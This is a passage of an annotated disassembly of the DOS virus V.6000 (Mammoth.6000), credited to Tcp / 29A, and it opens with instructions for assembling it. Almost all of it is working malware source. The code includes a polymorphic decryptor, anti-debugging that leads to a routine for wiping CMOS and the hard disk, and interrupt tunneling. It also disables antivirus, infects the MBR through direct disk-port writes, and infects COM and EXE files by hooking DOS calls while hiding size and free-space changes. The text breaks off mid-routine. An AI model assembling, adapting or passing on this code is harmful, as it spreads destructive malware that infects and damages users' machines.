;
; Disassembled by Tcp / 29A
;
; Virus:        V.6000 (aka NoKernel aka Mammoth.6000)
; Author:       ?
; Country:      Russia (?)
; Comments:     Polymorphic, multipartite, tunneling, damage,
;               full-stealth, HD-ports,... 
;               The most interesting feature is that it can 
;               stay resident after a cold reboot and loading 
;               from a clean DOS floppy disk!!!!!!!!
; WARNING: This is a very dangerous virus!!
;
; To assembly:
;       tasm /m v6000.asm
;       tlink v6000
;       exe2bin v6000 v6000.com 
;-------------------------------------------------------------

.286
v6000           segment byte public ''
		assume cs:v6000,es:v6000,ss:v6000,ds:v6000
		org 0
start:
r_index         db      0B9h    ; mov cx,length_virus+[0..1Fh]
num_bytes       dw      offset(length_virus)
r_source        db      0BFh    ; mov di,offset(code_enc)+100h
st_code_enc     dw      offset(code_enc)+100h
_loop_dec:
prefix_op       dw      802Eh   ; xor byte ptr cs:      
r_op            db      35h     ; [di],
l_mask          db      0       ; l_mask
i_inc:
		inc     di
d_loop:
		loop    _loop_dec
		clc
code_enc:
delta           equ     word ptr $+1                
		mov     bp,offset(start)+100h
		mov     cx,offset(end_virdata)-buffer
		xor     al,al
		mov     di,offset(buffer)
		add     di,bp
		push    cs
		pop     es
		cld
		rep     stosb               ; Clear data area
		cli
		push    cs
		pop     ss
		mov     sp,offset(vstack)  
		add     sp,bp
		mov     [bp+delta_offset],bp
		mov     [bp+seg_psp],ds
		mov     dx,word ptr [bp+jmp_antidebug]
		mov     bx,(offset(kill_cmos_hd)-ofs_antidebug-2)
		mov     [bp+jmp_antidebug],0E9h         ; jmp
		mov     [bp+ofs_antidebug],bx
jmp_antidebug   equ     byte ptr $                
ofs_antidebug   equ     word ptr $+1    ; jmp kill_cmos_hd 
				; Kill CMOS & HD if debugging (or Pentium!)
		jmp     no_debug
		db      9
no_debug:
		mov     word ptr [bp+jmp_antidebug],dx   ; Restore jmp
		mov     ax,0B0Bh
		int     21h             ; Resident check
		cmp     ax,0EFEFh       ; Already resident?
		je      restore_host    ; Yes? then jmp
		mov     ah,30h
		int     21h             ; DOS - GET DOS VERSION
					; Return: AL = major version number
					;         (00h for DOS 1.x)
					;         AH = minor version number
		cmp     al,0Ah          ; >DOS 10.xx? (why???)
		ja      restore_host    ; Yes? then jmp
		cmp     al,3                    ; >=DOS 3.00?
		jae     try_to_infect_hd        ; Yes? then jmp
restore_host:
		cmp     byte ptr [bp+host_type],3       ; EXE?
		je      restore_exe                     ; Yes? then jmp
		push    cs      ; It is a COM file
		pop     ds
		push    cs
		pop     es
		mov     si,offset(header)
		add     si,bp
		mov     di,100h
		mov     bx,di
		movsw           ; Restore original bytes (3 bytes)
		movsb           
		cli     
		mov     sp,0FFFEh       ; Set default stack
		jmp     bx              ; jmp 100h (exec host)

restore_exe:
		mov     es,[bp+seg_psp] ; ES:=PSP
		mov     dx,[bp+exeip]
		mov     bx,[bp+relocs]
		mov     cx,es
		add     bx,cx           ; Relocate host CS
		add     bx,10h
		mov     [bp+ep_ip],dx
		mov     [bp+ep_cs],bx
		mov     ax,[bp+reloss]
		add     ax,cx           ; Relocate host SS
		add     ax,10h          ; Add PSP
		push    es
		pop     ds
		push    ax
		xor     ax,ax
		push    ax
		popf                    ; Clear flags    
		pop     ax
		cli     
		mov     ss,ax           ; Set stack
		mov     sp,cs:[bp+relosp]
		sti     
		jmp     dword ptr cs:[bp+ep_ip]         ; Exec host

try_to_infect_hd:
		call    check4ide
		cmp     al,66h          ; IDE HD?
		jne     start_tunneling ; No? then jmp (don't use ports)
		mov     ax,160Ah
		int     2Fh             ; - Multiplex - MS WINDOWS - 
		or      ax,ax           ; Windows running?
		jz      start_tunneling ; Yes? then jmp
get_vi13:
		mov     al,13h
		call    get_int_vector          ; Get int 13h
		mov     [bp+ofs_i13],bx         ; Store it
		mov     [bp+seg_i13],es
		mov     [bp+use_ports],1        ; Can use ports
		jmp     kill_vsafe

start_tunneling:
		xor     ax,ax
		mov     ds,ax                   ; DS:=0
		cli                     
		mov     ds:[1h*4+2],cs          ; Set new int 1
		mov     dx,offset(int_1)
		add     dx,bp
		mov     ds:[1h*4],dx
		sti     
		mov     [bp+seg_stop],70h  ; Set stop segment (DOS segment)
		mov     ah,0FFh
		pushf   
		pushf   
		call    trace_on
		call    dword ptr ds:[13h*4]    ; Trace Int 13h
		call    trace_off
		cmp     [bp+seg_i13],0          ; Tunneling successful?
		jnz     kill_vsafe              ; Yes? then jmp
		jmp     get_vi13
kill_vsafe:
		mov     dx,5945h        
		mov     ax,0FA01h
		int     21h             ; Uninstall VSafe
		call    install_virus
		jmp     restore_host

install_virus:
		mov     al,10h          ; Diskette drive types
		call    read_cmos
		mov     [bp+floppy_types],ah
		xor     ax,ax
		mov     ds,ax
		mov     ax,ds:[410h]    ; Installed hardware
		mov     [bp+inst_hard],ax       
		mov     al,2Eh          ; 1st byte of CMOS checksum
		call    read_cmos
		mov     ch,ah
		mov     al,2Fh          ; 2nd byte of CMOS checksum
		call    read_cmos
		mov     cl,ah
		push    cx
		call    calculate_CMOS_checksum_1
		pop     cx
		cmp     cx,dx           ; Using this method for checksum?
		jne     try_method_ps2  ; No? then jmp
		mov     [bp+chksum_method],0
		jmp     infect_HD

try_method_ps2:
		mov     al,32h          ; 1st byte of CMOS checksum (PS/2)
		call    read_cmos
		mov     ch,ah
		mov     al,33h          ; 2nd byte of CMOS checksum (PS/2)
		call    read_cmos
		mov     cl,ah
		push    cx
		call    calculate_CMOS_checksum_2
		pop     cx
		cmp     cx,dx           ; Using this method for checksum?
		jne     unknown_method  ; No? then jmp
		mov     [bp+chksum_method],1
		jmp     infect_HD

unknown_method:
		mov     [bp+chksum_method],2
infect_HD:
		xor     ah,ah
		mov     dl,80h
		call    int13hbp        ; Reset HD controller
		mov     ah,8
		call    int13hbp        ; Get drive parameters
		inc     ch              ; inc max.cylinder
		mov     dl,80h
		sub     cl,14           ; Get 14 sectors
		mov     ax,030Ch        ; 12 sectors to write (its code)
		push    cs
		pop     es
		mov     bx,bp
		call    int13hbp        ; Write to HD
		jnc     read_mbr        ; Ok? then jmp
		jmp     _ret            ; Stupid jmp!!

read_mbr:
		mov     ax,0201h
		mov     bx,offset(s_mbr)
		add     bx,bp
		mov     dx,80h
		mov     cx,1
		int     13h             ; Read MBR
		jnc     check_mbr       ; Ok? then jmp
		jmp     _ret            ; Stupid jmp!!

check_mbr:
		mov     di,bx
		push    cs
		pop     ds
		mov     si,offset(mbr_code)
		add     si,bp
		mov     cx,(tmbr_code-mbr_code)
		cld     
		rep     cmpsb           ; Infected?
		jne     infect_mbr      ; No? then jmp
		jmp     _ret            ; Stupid jmp!!

infect_mbr:
		call    get_random
		mov     [bp+mask_orig_mbr],ah
		mov     si,bx
		mov     cx,512
		push    cx
encrypt_orig_mbr:
		xor     [si],ah
		inc     si
		loop    encrypt_orig_mbr
		push    ax
		mov     ah,8
		call    int13hbp        ; Get drive parameters
		inc     ch              ; Inc cylinder
		dec     cl              ; Dec sector
		mov     dl,80h
		mov     ax,301h         ; 1 sector to write
		call    int13hbp        ; Write encripted MBR
		mov     si,bx
		pop     ax
		pop     cx
decrypt_orig_mbr:
		xor     [si],ah         ; Decrypt MBR
		inc     si
		loop    decrypt_orig_mbr
		call    get_random
		mov     si,offset(st_mbr_enc)
		add     si,bp
		mov     cx,end_mbr_code-st_mbr_enc
		push    si
		push    cx
		push    ax
encrypt_mbr:                                        
		mov     cs:[bp+mask_mbr],ah     ; Encrypt new MBR code
		xor     [si],ah
		inc     si
		loop    encrypt_mbr
		mov     si,offset(mbr_code)
		add     si,bp
		mov     di,bx
		mov     cx,end_mbr_code-mbr_code
		rep     movsb
		cmp     [bp+use_ports],1        ; Can use ports?
		je      write_using_ports       ; Yes? then jmp
		mov     ax,301h         ; 1 sector to write
		mov     cx,1
		xor     dh,dh
		call    int13hbp        ; Write new mbr
		jmp     mbr_wrote

wait_while_busy:
		mov     dx,1F7h
HD_busy:
		in      al,dx           ; AT hard disk
					; status register bits:
					; 0: 1=prev cmd error
					; 2: Corrected data
					; 3: Data Request. Buffer is busy
					; 4: Seek completed
					; 5: Write fault
					; 6: Drive ready (unless bit 4=0)
					; 7: Busy
		test    al,80h          ; Busy?
		jnz     HD_busy         ; Yes? Repeat while busy
		ret     

wait_while_busy_seek:
		mov     dx,1F7h
in_seek:                                        
		in      al,dx           ; AT hard disk
					; status register bits:
					; 0: 1=prev cmd error
					; 2: Corrected data
					; 3: Data Request. Buffer is busy
					; 4: Seek completed
					; 5: Write fault
					; 6: Drive ready (unless bit 4=0)
					; 7: Busy
		test    al,80h          ; HD busy?
		jnz     in_seek         ; Yes? Repeat while busy
		test    al,8            ; Seek completed?
		jz      in_seek         ; No? Repeat until seek completed
		ret     

write_using_ports:                                        
		mov     si,bx
		cld     
		mov     dx,3F6h
		mov     al,4
		out     dx,al           ; Enable FDC disk reset
		call    waste_time
		mov     al,0
		out     dx,al
		call    wait_while_busy
		mov     dx,1F6h
		mov     al,10100000b
;                             ^^^^^head 0
;                             |___drive 0 
		out     dx,al   ; AT hard disk controller: Drive & Head.
		call    waste_time
		mov     dx,1F7h
		mov     al,10h
		out     dx,al   ; AT hard disk command register:
				; 1?H = Restore to cylinder 0
				; 7?H = Seek to cylinder
				; 2?H = Read sector
				; 3xH = Write sector
				; 50H = Format track
				; 4xH = verify read
				; 90H = diagnose
				; 91H = set parameters for drive
				; Recalibrate drive
		call    wait_while_busy
		mov     dx,1F1h
		in      al,dx   ; AT hard disk controller
				; Error register. Bits for last error:
				; 0: Data Address Mark not found
				; 1: Track 0 Error
				; 2: Command aborted
				; 4: Sector ID not found
				; 6: ECC Error: Uncorrectable data error
				; 7: Bad block
		and     al,01101000b    
		jnz     write_using_ports       ; Error? try again
		call    wait_while_busy
		mov     dx,1F2h
		mov     al,1    ; One sector
		out     dx,al   ; AT hard disk controller: Sector count.
		call    waste_time
		mov     dx,1F3h
		mov     al,1    ; Start in sector 1
		out     dx,al   ; AT hard disk controller: Sector number.
		call    waste_time
		mov     dx,1F4h
		mov     al,0
		out     dx,al   ; AT hard disk controller:
				; Cylinder high (bits 0-1 are bits 8-9 
				;                of 10-bit cylinder number)
		call    waste_time
		mov     dx,1F5h
		mov     al,0    ; Cylinder 0
		out     dx,al   ; AT hard disk controller:
				; Cylinder low (bits 0-7 of 10-bit 
				;               cylinder number)
		call    waste_time
		mov     dx,1F6h
		mov     al,10100000b    ; Drive 0, Head 0
		out     dx,al   ; AT hard disk controller: Drive & Head.
		call    waste_time
		mov     dx,1F7h
		mov     al,31h          ; Write sector without retry
		out     dx,al           ; AT hard disk
					; command register:
					; 1?H = Restore to cylinder 0
					; 7?H = Seek to cylinder
					; 2?H = Read sector
					; 3xH = Write sector
					; 50H = Format track
					; 4xH = verify read
					; 90H = diagnose
					; 91H = set parameters for drive
		call    wait_while_busy_seek
		mov     cx,512/2        ; Number of words to write (1 sector)
		mov     dx,1F0h         ; Data register
		rep     outsw           ; Write sector
		call    wait_while_busy
mbr_wrote:
		pop     ax
		pop     cx
		pop     si
dec_mbrcode:                                        
		xor     cs:[si],ah
		inc     si
		loop    dec_mbrcode
		mov     ah,8
		mov     dl,80h
		call    int13hbp        ; Get drive parameters
		mov     dl,80h
		inc     ch              ; inc cylinder
		sub     cl,2            ; dec sector*2
		mov     word ptr cs:[bx],0      ; Reset boot counter
		mov     ax,0301h        ; 1 sector to write
		call    int13hbp        ; Write to HD
_ret:
		ret     
		

int_1:                                  ; Tunneler code
		push    bx
		push    es
		push    si
		push    bp
		push    ds
		mov     bp,sp
		lds     si,[bp+0Ah]     ; Get next inst.address from stack
		mov     bp,cs
		mov     bx,ds
		cmp     bx,bp           ; Is from virus code?
		je      end_int1        ; Yes? then jmp
		mov     bp,sp
delta_offset    equ     word ptr $+1                
		mov     bx,0B3Ah                ; mov bx,delta_offset
		cmp     byte ptr [si],9Ch       ; Next inst. is a pushf?
		jne     check_popf              ; No? then jmp
		inc     word ptr [bp+0Ah]       ; Skip the pushf
		mov     cs:[bx+emul_pushf],1
check_popf:                
		cmp     byte ptr [si],9Dh       ; Next inst. is a popf?
		jne     no_popf                 ; No? then jmp
		or      word ptr [bp+10h],100h  ; Put flag trace in stack
no_popf:
		mov     bp,ds
		cmp     cs:[bx+tunnel_ok],1     ; Found int?
		je      end_int1                ; Yes? then jmp
		cmp     bp,cs:[bx+seg_stop]     ; Above stop segment?
		ja      end_int1                ; Yes? then jmp
		mov     cs:[bx+ofs_i13],si      ; Store as the new int
		mov     cs:[bx+seg_i13],ds
		mov     cs:[bx+tunnel_ok],1     ; Found int
end_int1:                
		pop     ds
		pop     bp
		pop     si
		pop     es
		cmp     cs:[bx+emul_pushf],1    ; Was found a pushf?
		je      no_restore_flags        ; Yes? then jmp
		pop     bx
		iret    
no_restore_flags:                
		mov     word ptr cs:[bx+emul_pushf],0
		pop     bx
		retf    

waste_time:                                        
		jmp     $+2
		jmp     $+2
		ret     

trace_on:
		pushf   
		pop     bx
		or      bh,1    ; Set trace flag on
		push    bx
		popf    
		ret     
trace_off:
		pushf   
		pop     bx
		and     bh,0FEh         ; Set trace flag off
		push    bx
		popf    
		ret     

check4ide:
		push    ds
		mov     dl,80h          ; 1st HD
		push    dx
		mov     ah,15h
		int     13h             ; DISK - GET TYPE 
					; DL = drive ID
					; Return: CF set on error 
					;         AH = disk type
					; Get type of 1st HD
		pop     dx
		cmp     ah,1            ; Type 1? Diskette???
		je      no_ide          ; Yes? then jmp
		xor     ax,ax
		mov     ds,ax           ; DS:=0
		les     si,ds:[41h*4]   ; Get hd0 parameters pointer
		mov     ax,es:[si]      ; Maximun number of cylinders
		push    ax
		push    dx
		mov     ah,8
		int     13h     ; Get current drive parameters 
		mov     ax,cx
		rol     al,1
		rol     al,1
		and     al,3    ; Get high order 2 bits of cylinder count
		xchg    al,ah   ; Cylinder count in AX
		and     dh,0C0h ; Get high order 2 bits of head count
				;  Large Model(?)
		mov     cl,4
		shl     dh,cl
		or      ah,dh   ; Total cylinder count in AX
		add     ax,2    ; Add 2 cylinders
		pop     dx
		mov     bx,ax
		pop     ax
		cmp     bx,ax   ; Same cylinder number?
		xor     al,al   ; BUG!!!! This instruction sets the Z-flag
		jne     no_ide  ; Then this jump is never used
		mov     al,66h
no_ide:
		pop     ds
		ret     

fffnfcb:
		call    int21h          ; FF/FN
		or      al,al           ; More files?
		jnz     no_files_fcb    ; No? then jmp
		pushf   
		call    push_registers
		mov     ah,2Fh
		call    int21h          ; Get DTA
		push    es
		pop     ds
		push    bx
		pop     dx
		cmp     byte ptr es:[bx],0FFh   ; Extended FCB?
		jnz     no_ext_fcb              ; No? then jmp
		add     dx,7
no_ext_fcb:
		call    make_fname
		call    exe_or_com?
		or      bp,bp           ; EXE or COM?
		jz      error_open_fcb  ; No? then jmp
		mov     ax,3D00h
		call    int21h          ; Open file
		jc      error_open_fcb
		mov     bx,ax           ; bx:=handle
		mov     ax,5700h
		call    int21h          ; Get file time
		rcr     dh,1
		cmp     dh,64h          ; Infected?
		jb      no_inf_fcb      ; No? then jmp
		push    bx
		mov     ah,2Fh
		call    int21h          ; Get DTA
		cmp     byte ptr es:[bx],0FFh   ; Extended FCB?
		jne     no_ext_fcb2             ; No? then jmp
		add     bx,7
no_ext_fcb2:
		sub     word ptr es:[bx+1Dh],offset(length_virus)
		mov     ax,es:[bx+19h]          ; Get file date
		rcr     ah,1
		pushf   
		sub     ah,100          ; Set original date
		popf    
		rcl     ah,1
		mov     es:[bx+19h],ax
		pop     bx
no_inf_fcb:
		mov     ah,3Eh
		call    int21h          ; Close file
error_open_fcb:                                        
		call    pop_registers
		popf    
no_files_fcb:
		retf    2

rename_FCB:                
		push    ds
		push    dx
		call    make_fname
		jmp     rename

rename_handle:                
		push    ds
		push    dx
rename:                
		push    es
		push    si
		push    di
		push    cx
		push    bp
		push    ax
		push    es
		push    di
		call    exe_or_com?     
		pop     di
		pop     es
		or      bp,bp           ; Renaming from Exe or Com?
		jz      jmp_end_i21     ; No? then jmp
		push    ds
		push    dx
		push    es
		pop     ds
		mov     dx,di
		call    exe_or_com?     
		pop     dx
		pop     ds
		or      bp,bp           ; Renaming to Exe or Com?
		jnz     now_is_exec     ; Yes? then jmp
		call    disinfect_file  ; else disinfect
		jmp     jmp_end_i21

now_is_exec:
		call    try_to_infect_file
jmp_end_i21:                                        
		pop     ax
		pop     bp
		pop     cx
		pop     di
		pop     si
		pop     es
		pop     dx
		pop     ds
		jmp     exit_i21

disinfect:
		push    dx
		cmp     ah,6Ch          ; Extended create/open?
		jne     exec?           ; No? then jmp
		test    dl,1            ; Action=open file?
		jz      not_open        ; No? then jmp
		mov     dx,si
exec?:
		cmp     ah,4Bh          ; Exec file?
		jne     no_exec         ; No? then jmp
		push    ax
		push    si
		push    di
		push    es
		push    cx
		push    ds
		mov     cs:ticks_disableFD,30*18        ; 30 seconds
		or      cs:flags,2      ; Don't disable FD
		call    enable_FD
		mov     si,dx
		call    end_fname
		dec     si
		mov     di,offset(end_chkdsk)
		mov     cx,end_chkdsk-end_wswap
		push    cs
		pop     es
		call    cmp_strings     ; chkdsk.exe?
		jnc     no_chkdsk       ; No? then jmp
		or      cs:flags,80h    ; No stealth
no_chkdsk:
		pop     ds
		pop     cx
		pop     es
		pop     di
		pop     si
		pop     ax
no_exec:
		test    cs:flags,1      ; bit0 never is 1!!! I think...
		jnz     not_open        ;  then this jump is never used
		call    disinfect_file
not_open:
		pop     dx
		jmp     exit_i21

fffnh:
		call    int21h          ; Find-first/next
		jc      ret_fffnh       ; jmp if no more files
		pushf   
		call    push_registers
		mov     ah,2Fh
		call    int21h          ; Get DTA
		push    es
		pop     ds
		mov     dx,bx
		add     dx,1Eh
		call    exe_or_com?     ; if bp=0 then not exe/com
		or      bp,bp           ; Exe or Com?
		jz      end_fffnh       ; No? then jmp
		mov     ax,[bx+(dta_date-dta)]
		shr     ah,1
		cmp     ah,64h          ; Infected?
		jb      end_fffnh       ; No? then jmp
		mov     ax,es:[bx+(dta_date-dta)]       ; Get file date
		rcr     ah,1
		pushf   
		sub     ah,100          ; Set original date
		popf    
		rcl     ah,1
		mov     es:[bx+(dta_date-dta)],ax
		sub     [bx+(dta_sizel-dta)],offset(length_virus)
end_fffnh:
		call    pop_registers
		popf    
ret_fffnh:
		retf    2

jmp_infect_on_exit:
		jmp     infect_on_exit

int_21:                
		mov     cs:into_i21,1
		cmp     ah,4Ch          ; Exit program via ah=4Ch?
		je      jmp_infect_on_exit      ; Yes? then jmp (infect)
		or      ah,ah           ; Exit program via ah=0?
		jz      jmp_infect_on_exit      ; Yes? then jmp (infect)
		cmp     ah,31h          ; Exit program via ah=31h (TSR)?
		je      jmp_infect_on_exit      ; Yes? then jmp (infect)
		cmp     ax,0B0Bh        ; Our check?
		je      resident_check  ; Yes? then jmp
		test    cs:flags,80h    ; Do stealth?
		jnz     exit_i21        ; No? then jmp
		cmp     ah,4Bh          ; Exec?
		je      jmp_disinfect   ; Yes? then jmp (disinfect)
		cmp     ah,11h          ; FF FCB?
		je      jmp_fffnfcb     ; Yes? then jmp (length stealth)
		cmp     ah,12h          ; FN FCB? 
		je      jmp_fffnfcb     ; Yes? then jmp (length stealth)
		cmp     ah,4Eh          ; FF handle?
		je      fffnh           ; Yes? then jmp (length stealth)
		cmp     ah,4Fh          ; FN handle?
		je      fffnh           ; Yes? then jmp (length stealth)
		cmp     ah,3Dh          ; Open?
		je      jmp_disinfect   ; Yes? then jmp (disinfect)
		cmp     ah,6Ch          ; Extended open?
		je      jmp_disinfect   ; Yes? then jmp (disinfect)
		cmp     ah,36h          ; Get Disk free?
		je      disk_free       ; Yes? then jmp (free space stealth)
		cmp     ah,0Fh          ; Open file using FCB?
		je      open_delete_FCB ; Yes? then jmp (infect)
		cmp     ah,13h          ; Delete file using FCB?
		je      open_delete_FCB ; Yes? then jmp (infect)
		cmp     ah,17h          ; Rename file using FCB?
		je      jmp_rename_FCB  ; Yes? then jmp (infect/disinfect)
		cmp     ah,41h          ; Delete file?
		je      del_getsetattr  ; Yes? then jmp (infect)
		cmp     ah,56h          ; Rename file?
		je      jmp_rename      ; Yes? then jmp (infect/disinfect)
		cmp     ax,4300h        ; Get attributes?
		je      del_getsetattr  ; Yes? then jmp (infect)
		cmp     ax,4301h        ; Set attributes?
		je      del_getsetattr  ; Yes? then jmp (infect)
		cmp     ah,3Eh          ; Close file?
		je      jmp_close       ; Yes? then jmp (infect)
exit_i21:
		mov     cs:into_i21,0
		jmp     dword ptr cs:ofs_i21
resident_check:
		mov     ax,0EFEFh
		iret    
del_getsetattr:
		jmp     jmp_try_infect_file
jmp_close:
		jmp     close
jmp_fffnfcb:
		jmp     fffnfcb
jmp_disinfect:
		jmp     disinfect
jmp_rename:
		jmp     rename_handle
jmp_rename_FCB:
		jmp     rename_FCB

open_delete_FCB:
		push    ds
		push    dx
		call    make_fname
		call    try_to_infect_file
		pop     dx
		pop     ds
		jmp     exit_i21

save_free:
		mov     cs:into_i21,0
		mov     cs:stored_psp,bx        ; Store program PSP dir
		mov     cs:stored_drive,dl      ; Store drive
		pop     bx
		call    int21h                  ; Get free space
		mov     cs:clusters_avail,bx    ; Store free space
		retf    2

disk_free:
		push    bx
		push    ax
		mov     ah,62h
		call    int21h          ; Get PSP address in BX
		pop     ax
		cmp     bx,cs:stored_psp        ; Same program?
		jne     save_free               ; No? then jmp
		cmp     dl,cs:stored_drive      ; Same drive?
		jne     save_free               ; No? then jmp
		pop     bx
		call    int21h                  ; Get free space
		mov     bx,cs:clusters_avail    ; Return previous free space
		retf    2

int_27:                         
		push    cx
		mov     cl,4
		shr     dx,cl           ; div 16
		pop     cx
		inc     dx              ; inc paragraphs
		mov     ax,3100h        ; To exec int 21h, AX=3100 (TSR)
		jmp     infect_on_exit
		
int_20:
		xor     ax,ax           ; To exec int 21h, AX=0 (exit)
infect_on_exit:                                        
		push    ax
		push    ds
		push    dx
		push    bx
		pushf   
		push    cs
		pop     ds
		cmp     activity_checks,1       ; Checking activity?
		jne     set_checks              ; No? then jmp
		jmp     ints_set

set_checks:
		mov     activity_checks,1
		mov     ah,34h
		call    int21h          ; Get address of DOS activity flag
		mov     ofs_flagdos,bx  ; Store it
		mov     seg_flagdos,es
		mov     al,8
		call    get_int_vector  ; Get int 8
		mov     ofs_i8,bx       ; Store it
		mov     seg_i8,es
		mov     al,17h
		call    get_int_vector  ; Get int 17h
		mov     ofs_i17,bx      ; Store it
		mov     seg_i17,es
		mov     al,25h
		call    get_int_vector  ; Get int 25h
		mov     ofs_i25,bx      ; Store it
		mov     seg_i25,es
		mov     al,26h
		call    get_int_vector  ; Get int 26h
		mov     ofs_i26,bx      ; Store it
		mov     seg_i26,es
		mov     ax,5D06h        
		call    int21h          ; Get address of DOS swappable area
		mov     cs:ofs_swpdos,si        ; Store it
		mov     cs:seg_swpdos,ds
		xor     ax,ax
		mov     ds,ax
		cli     
		mov     word ptr ds:[8h*4],offset(int8)         ; Set int 8
		mov     ds:[8h*4+2],cs
		mov     word ptr ds:[17h*4],offset(int17)       ; Set int 17h
		mov     ds:[17h*4+2],cs
		mov     word ptr ds:[25h*4],offset(int25)       ; Set int 25h
		mov     ds:[25h*4+2],cs
		mov     word ptr ds:[26h*4],offset(int26)       ; Set int 26h
		mov     ds:[26h*4+2],cs
		sti     
		mov     si,400h         ; Address of COM ports
		mov     di,offset(com_ports)
		push    cs
		pop     es
		movsw           ; com1
		movsw           ; com2
		movsw           ; com3
		movsw           ; com4
ints_set:
		test    cs:flags,40h    ; bit14 never is 1!!! I think...
		jnz     get_parent_psp  ;  then this jump is never used
		call    get_fname_env
get_parent_psp:
		mov     ah,62h
		call    int21h          ; Get current PSP address    
		mov     ds,bx
		mov     ax,ds:[16h]     ; Get parent PSP
		mov     ds,ax
		mov     ax,ds:[16h]     ; Get parent PSP (of parent PSP :)
		mov     bx,ds           
		cmp     ax,bx       ; Same PSP? Parent=command interpreter?
		jne     no_reset_flags  ; No? then jmp
		and     cs:flags,0      ; Clear flags
no_reset_flags:
		popf    
		pop     bx
		pop     dx
		pop     ds
		pop     ax
		mov     cs:into_i21,0
		jmp     dword ptr cs:ofs_i21

close:
		call    push_registers
		push    bx
		call    set_i24_i1B_i23
		call    get_ofs_fname
		pop     bx
		clc     
		mov     ax,1220h
		int     2Fh     ; GET JOB FILE TABLE ENTRY
				; BX = file handle
				; Return: CF set on error, AL = 6
				;         CF clear if successful 
				;         ES:DI -> JFT entry for file handle 
				;                  in current process
		jc      end_close
		cmp     byte ptr es:[di],0FFh   ; No table?
		je      end_close               ; Yes? then jmp
		clc     
		push    bx
		mov     bl,es:[di]      ; Get file entry number
		xor     bh,bh
		mov     ax,1216h
		int     2Fh     ; GET ADDRESS OF SYSTEM FILE TABLE
				; BX = system file table entry number
				; Return: CF clear if successful, 
				;         ES:DI -> system file table entry
				;         CF set if BX greater than FILES=
		pop     bx
		jc      end_close
		push    es
		pop     ds
		and     word ptr [di+2],0FFF8h
		or      word ptr [di+2],2       ; File open mode 2 (I/O)
		add     di,cs:ofs_sft
		mov     dx,di
		dec     dx
		call    make_fname
		push    cs
		pop     ds
		mov     dx,offset(filename)
		call    infect_file
end_close:
		call    restore_i24_i1b_i23
		call    pop_registers
		jmp     exit_i21

jmp_try_infect_file:
		call    try_to_infect_file
		jmp     exit_i21

push_registers:
		pop     cs:return_dir
		push    ax
		push    bx
		push    cx
		push    dx
		push    es
		push    ds
		push    si
		push    di
		push    bp
		jmp     cs:return_dir

pop_registers:
		pop     cs:return_dir
		pop     bp
		pop     di
		pop     si
		pop     ds
		pop     es
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		jmp     cs:return_dir

get_fname_env:
		call    push_registers
		mov     ah,62h
		call    int21h          ; Get PSP address in BX
		mov     ds,bx
		mov     ds,ds:[2Ch]     ; Get environment segment
		xor     si,si
		mov     cx,400h
search4fname:
		mov     ax,[si]                 ; Get word
		or      ax,ax                   ; Zero?
		jz      no_more_variables       ; Yes? then jmp       
		inc     si
		loop    search4fname
		jmp     _pop_regs

no_more_variables:
		add     si,4            ; Pathname of environment owner
		mov     dx,si
		call    try_to_infect_file
_pop_regs:
		call    pop_registers
		ret     

try_to_infect_file:
		call    push_registers
		call    normalize_fname
		call    set_i24_i1B_i23 ; Set ints
		call    get_reset_attr  ; Save & reset attributes
		jc      error_writing
		mov     ax,3D02h
		call    int21h          ; Open file I/O
		jc      error_writing
		mov     bx,ax           ; bx:=handle
		call    infect_file
		mov     ah,3Eh
		call    int21h          ; Close file
		call    restore_attr    ; Restore attributes
error_writing:
		call    restore_i24_i1b_i23
		call    pop_registers
		ret     

st_command      equ     $-1
		db      'COMMAND.'
ext_com         db      'COM'
end_command     equ     word ptr $-1
gdi_exe         db      'GDI.EXE'
end_gdi         equ     word ptr $-1
		db      'DOSX.EXE'
end_dosx        equ     word ptr $-1
		db      'WIN386.EXE'
end_win386      equ     word ptr $-1
		db      'KRNL286.EXE'
end_krnl286     equ     word ptr $-1
		db      'KRNL386.EXE'
end_krnl386     equ     word ptr $-1
		db      'USER.'
bad_end_user    equ     word ptr $-2
ext_exe         db      'EXE'
end_user        equ     word ptr $-1
		db      'WSWAP.EXE'
end_wswap       equ     word ptr $-1
		db      'CHKDSK.EXE'
end_chkdsk      equ     word ptr $-1

normalize_fname:
		push    ds
		pop     es
		push    dx
		pop     si
		push    si
		pop     di
		mov     ax,1211h
		int     2Fh     ; NORMALIZE ASCIZ FILENAME
				; DS:SI -> ASCIZ filename to normalize
				; ES:DI -> buffer for normalized filename
				; Return: destination buffer filled with 
				; uppercase filename, with slashes turned 
				; to backslashes
		ret     

cmp_strings:            ; Compare two strings
			; OUTPUT: Carry=1 if strings are equal
		std     
next_char:
		lodsb
		cmp     al,' '
		je      next_char       ; Ignore spaces
		inc     si
		cmpsb                   
		loope   next_char
		clc     
		or      cx,cx           ; Matching strings?
		jnz     no_match        ; No? then jmp
		stc                     ; Set carry     
no_match:
		ret     

infect_file:
		push    ds
		push    dx
		call    exe_or_com?
		or      bp,bp           ; Exe or Com?
		jz      not_infect      ; No? then jmp
		push    bp
		call    cmp_fname       ; Valid filename?
		pop     bp
		jc      not_infect      ; No? then jmp
		mov     ax,4200h
		xor     cx,cx
		xor     dx,dx
		call    int21h          ; Lseek start
		jc      not_infect
		call    read_header
		jc      not_infect
		call    check_if_exe
		call    check_if_infected       ; Already infected?
		jz      not_infect              ; Yes? then jmp
		call    get_ftime
		call    write_virus
		jc      not_infect
		call    restore_ftime
not_infect:
		pop     dx
		pop     ds
		ret     

restore_ftime:
		mov     ax,5701h
		mov     cx,cs:f_time
		mov     dx,cs:f_date
		call    int21h          ; Restore file date & time
		ret     

restore_attr:
		mov     ax,4301h
		mov     cx,cs:attribs
		call    int21h          ; Restore attributes
		ret     

get_ftime:
		mov     ax,5700h
		call    int21h          ; Get file time
		mov     cs:f_time,cx
		mov     cs:f_date,dx
		ret     

get_reset_attr:
		mov     ax,4300h
		call    int21h          ; Get attributes
		mov     cs:attribs,cx   ; Store attributes
		mov     ax,4301h
		xor     cx,cx
		call    int21h          ; Reset attributes
		ret     

check_if_exe:
		cmp     cs:_signature,5A4Dh     ; EXE?
		jz      is_exe                  ; Yes? then jmp
		cmp     cs:_signature,4D5Ah     ; EXE?
		jz      is_exe                  ; Yes? then jmp
		mov     bp,1                    ; It's COM
		ret     
is_exe:
		mov     bp,3            ; It's EXE
		ret     

cmp_fname:
		mov     si,dx
		call    end_fname       
		dec     si              ; SI points to end fname
		mov     bp,si
		push    cs
		pop     es
		mov     di,offset(end_command)
		mov     cx,end_command-st_command
		call    cmp_strings     ; COMMAND.COM?
		jc      invalid_fname   ; Yes? then jmp
		mov     si,bp
		mov     di,offset(end_gdi)
